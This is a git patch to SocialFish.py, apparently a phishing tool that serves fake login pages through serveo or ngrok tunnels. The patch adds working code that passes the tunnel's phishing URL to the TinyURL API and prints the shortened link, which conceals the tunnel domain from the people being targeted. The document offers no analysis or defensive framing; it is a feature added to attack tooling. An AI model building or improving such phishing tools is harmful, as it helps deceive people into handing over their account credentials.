From 16967dbab564c12f02a6a8f3c87486eae61875b0 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Thu, 6 Sep 2018 10:34:26 +0500 Subject: [PATCH] tinyurl support --- SocialFish.py | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/SocialFish.py b/SocialFish.py index a68cbe0..829308d 100644 --- a/SocialFish.py +++ b/SocialFish.py @@ -298,7 +298,11 @@ def serveo(): output = check_output("grep -o 'https://[0-9a-z]*\.serveo.net' link.url", shell=True) url = str(output).strip("b ' \ n") print("\n {0}[{1}*{0}]{1} SERVEO URL: {2}".format(CYAN, END, GREEN) + url + "{1}".format(CYAN, END, GREEN)) - print('\n') + data = urlopen("http://tinyurl.com/api-create.php?url="+url) + url = data.read() + link = url.decode('utf-8') + print("\n {0}[{1}*{0}]{1} TINYURL: {2}".format(CYAN, END, GREEN) + link + "{1}".format(CYAN, END, GREEN)) + print("\n") def runNgrok(): system('./Server/ngrok http 1111 > /dev/null &') @@ -310,6 +314,11 @@ def runNgrok(): urlFile.close() if re.match("https://[0-9a-z]*\.ngrok.io", url) != None: print("\n {0}[{1}*{0}]{1} Ngrok URL: {2}".format(CYAN, END, GREEN) + url + "{1}".format(CYAN, END, GREEN)) + data = urlopen("http://tinyurl.com/api-create.php?url="+url) + url = data.read() + link = url.decode('utf-8') + print("\n {0}[{1}*{0}]{1} TINYURL: {2}".format(CYAN, END, GREEN) + link + "{1}".format(CYAN, END, GREEN)) + print("\n") break